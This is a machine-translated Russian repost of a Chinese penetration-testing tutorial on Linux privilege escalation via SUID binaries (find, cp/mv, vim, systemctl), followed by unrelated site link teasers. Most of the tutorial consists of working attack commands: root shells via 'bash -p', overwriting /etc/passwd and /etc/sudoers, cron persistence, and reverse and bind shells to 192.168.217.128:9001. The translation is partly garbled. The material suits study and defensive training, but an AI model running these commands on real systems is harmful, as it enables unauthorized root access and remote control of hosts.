Повышение привилегий | Повышение привилегий команд с помощью SUID
Повышение привилегий | Повышение привилегий команд с помощью SUID

Этот пост написал «Сяосян Синань Группа технического обмена”@嘞梦师傅投稿,@3hОрганизовать и опубликовать,Спасибо, что поделились!

@улиткиМастер тоже написал статью,Вы можете обратиться и изучить:Повышение привилегий | методы повышения и восстановления привилегий suid

0x01 Введение в повышение привилегий команды SUID

setuid — это сокращение идентификатора set uid при выполнении. Обычно мы снова сокращаем их до suid. Это флаги разрешений, которые контролируют доступ к файлу. Они позволяют пользователям запускать исполняемые файлы с разрешениями владельца исполняемого файла. является root, другие пользователи могут использовать права root для запуска исполняемых файлов, что создает угрозу безопасности. Пользователи могут повышать привилегии с помощью команд с разрешениями suid и в конечном итоге получать права root.

На следующем рисунке показано, как обычные пользователи изменяют файл /etc/shadow через passwd. В обычных обстоятельствах обычные пользователи не могут напрямую изменять файл /etc/shadow, поскольку команда passwd имеет разрешения suid, поэтому, когда обычные пользователи выполняют passwd, их /etc/shadow. Файл etc/shadow можно изменить, временно изменив разрешения на права root.

0x02 Команда для поиска файлов с разрешениями suid

  • Номер разрешения SUID — 4000.
  • -exec используется для выполнения команды ls -al
  • {} представляет все результаты, найденные предыдущим поиском
  • \; это escape для завершения команды;
  • 2> Вывести стандартную ошибку в /dev/null
Язык кода:javascript
копировать
find / -xdev -type f -perm /4000 -exec ls -al {} \; 2> /dev/null

0x03 Установить разрешения suid для команд

Например, чтобы добавить suid к команде find, вы можете использоватьwhereis или that.

Язык кода:javascript
копировать
[root@localhost ~]# whereis find
find: /usr/bin/find /usr/share/man/man1/find.1.gz
[root@localhost ~]# chmod u+s /usr/bin/find
[root@localhost ~]# ls -al /usr/bin/find
-rwsr-xr-x. 1 root root 199304 Oct 31  2018 /usr/bin/find

0x04 повышение привилегий команды find

Если команда find имеет suid, вы можете использовать команду find для повышения привилегий. Обратите внимание, что здесь следует добавить параметр -p. Большинство версий в Интернете не имеют параметра -p, что делает невозможным открытие нового файла. оболочка с правами root.

Используйте обычного пользователя для выполнения команды find, чтобы найти существующий файл. Целью здесь является поиск текущего каталога.

Язык кода:javascript
копировать
[admin@localhost ~]$ find . -exec /bin/bash -p \;
bash-4.2# whoami
root

Пояснение параметра -p:

Открывается, когда реальный идентификатор пользователя и эффективный идентификатор пользователя не совпадают. Отключите обработку файлов $ENV и импорт функций оболочки. Отключение этой опции приведет к тому, что эффективные uid и Gid будут установлены на реальные uid и Gid.

Язык кода:javascript
копировать
bash -p параметр
-p  Turned on whenever the real and effective user ids do not match.
    Disables processing of the $ENV file and importing of shell
    functions.  Turning this option off causes the effective uid and
    gid to be set to the real uid and gid.

0x05 повышение привилегий команды cp/mv

Здесь демонстрируется только команда cp, а команда mv такая же.

Способ первый

Используйте cp, чтобы скопировать /etc/passwd в /tmp/passwd.

Язык кода:javascript
копировать
[admin@localhost ~]$ cp /etc/passwd /tmp/passwd
[admin@localhost ~]$ ls -al /tmp/passwd
-rw-r--r-- 1 root admin 1051 Nov 15 02:06 /tmp/passwd

Зашифрованный пароль имеет фиксированный формат:

Язык кода:javascript
копировать
$id$salt$encrypted

idПредставляет алгоритм шифрования,1представлятьMD5,5представлятьSHA-256,6представлятьSHA-512 В настоящее время в основном используется алгоритм SHA-512.,Но что бы то ни былоmd5все ещеsha-256все еще поддерживаются。saltПредставляет пароль学中изSalt,сгенерировано системойencryptedПредставляет парольизhash

Язык кода:javascript
копировать
openssl passwd -6 -salt 1 123456  

passwd
Generation of hashed passwords.
-6
Use the SHA256 / SHA512 based algorithms defined by Ulrich Drepper.
-salt string
Use the specified salt. When reading a password from the terminal, this implies -noverify.

Сгенерируйте зашифрованный текст на основе криптографического алгоритма sha512 и пароля 123456 с солью 1.

Язык кода:javascript
копировать
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456               
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

Просмотрите содержимое /tmp/passwd, создайте новый пароль и запишите в него содержимое /tmp/passwd и вновь сгенерированный пароль.

Язык кода:javascript
копировать
[admin@localhost ~]$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
...

[admin@localhost ~]$ vim passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...       

Перезапишите /etc/passwd новым созданным паролем.

Язык кода:javascript
копировать
[admin@localhost ~]$ cp passwd /etc/passwd
[admin@localhost ~]$

На этом этапе вы можете переключиться на пользователя root

Способ второй

Создайте файл crontab и используйте cp, чтобы перезаписать /etc/crontab.

Язык кода:javascript
копировать
[admin@localhost ~]$ cat crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

* * * * * root bash -i >& /dev/tcp/192.168.217.128/9001 0>&1
Язык кода:javascript
копировать
cp crontab /etc/crontab

Наконец дождитесь соединения

Способ третий

Создайте файл root_access.

Язык кода:javascript
копировать
#!/bin/sh

cp /bin/bash /tmp/root_access
chmod +xs /tmp/root_access

Дайте разрешение на выполнение файла root_access и поместите его в /etc/cron.hourly, чтобы он выполнялся каждый час.

Язык кода:javascript
копировать
[admin@localhost ~]$ chmod +x root_access
[admin@localhost ~]$ cp root_access /etc/cron.hourly

Подождите, пока будет создан root_access, и, наконец, выполните /tmp/root_access -p

Язык кода:javascript
копировать
[admin@localhost ~]$ /tmp/root_access -p
root_access-4.2#

0x06 Vim и другие команды редактора повышают привилегии

Способ первый

Чтобы сгенерировать новый пароль, отредактируйте /etc/passwd

Язык кода:javascript
копировать
┌──(kali㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1 123456               
$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0

[admin@localhost ~]$ vim /etc/passwd
root:$6$1$j.74UuJkzzPKyD/cMaD1PygML3gwSnec87gsickCF6sO5D8UuHzTbK0DtUbI1257QK03GEHXpdFFmjPewVtaI0:0:0:root:/root:/bin/bash
...

:wq!

Войдите в систему root, используя новый пароль

Способ второй

Измените файл /etc/sudoers, чтобы у обычных пользователей были разрешения sudo. Обратите внимание, что здесь используется имя текущего обычного пользователя. Здесь используется имя пользователя admin.

Язык кода:javascript
копировать
[admin@localhost ~]$ vim /etc/sudoers
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere
root    ALL=(ALL)       ALL
admin   ALL=(ALL)      ALL
...

:wq!

Способ третий

Измените файл /etc/crontab и напишите пользователя root для выполнения запланированных задач.

Язык кода:javascript
копировать
[admin@localhost ~]$ vim /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

* * * * * root nc -lp 9001 -e /bin/bash

:wq!

Подключение к атакующей машине повышает привилегии

Способ четвертый

Используйте vim для выполнения команд Python, пересылайте оболочку, обязательно добавьте сюда параметр -p.

Язык кода:javascript
копировать
[admin@localhost ~]$ vim -c ':py import os; os.execl("/bin/bash", "bash", "-cp", "reset; exec bash -p")'

bash-4.2# whoami
root
bash-4.2#

Rebound Shell, обратите внимание, что для добавления параметра -p можно использовать только модуль подпроцесса, а модуль pty не может добавить параметр -p.

Язык кода:javascript
копировать
[admin@localhost ~]$ export RHOST=192.168.217.128
[admin@localhost ~]$ export RPORT=9001
[admin@localhost ~]$ vim -c ':py import vim,sys,socket,os,subprocess;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
p=subprocess.call(["/bin/bash","-ip"]);
vim.command(":q!")'

0x07 повышение привилегий команды systemctl

Если у systemctl есть разрешения suid, вы можете использовать systemctl для повышения привилегий. systemctl — это пакет программного обеспечения Linux для управления службами. Его можно использовать, создав службу, которая будет выполнять произвольные команды от имени пользователя root при запуске.

В следующем примере будет создана копия /bin/bash с SUID, что позволит злоумышленнику выполнить bash от имени пользователя root:

Язык кода:javascript
копировать
[admin@localhost ~]$ TF=$(mktemp).service
[admin@localhost ~]$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cp /bin/bash /tmp/stef && chmod +s /tmp/stef"
> [Install]
> WantedBy=multi-user.target' > $TF
[admin@localhost ~]$ systemctl link $TF
Created symlink from /etc/systemd/system/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.60opi0HgQW.service to /tmp/tmp.60opi0HgQW.service.
[admin@localhost ~]$ /tmp/stef -p
stef-4.2# whoami
root
boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose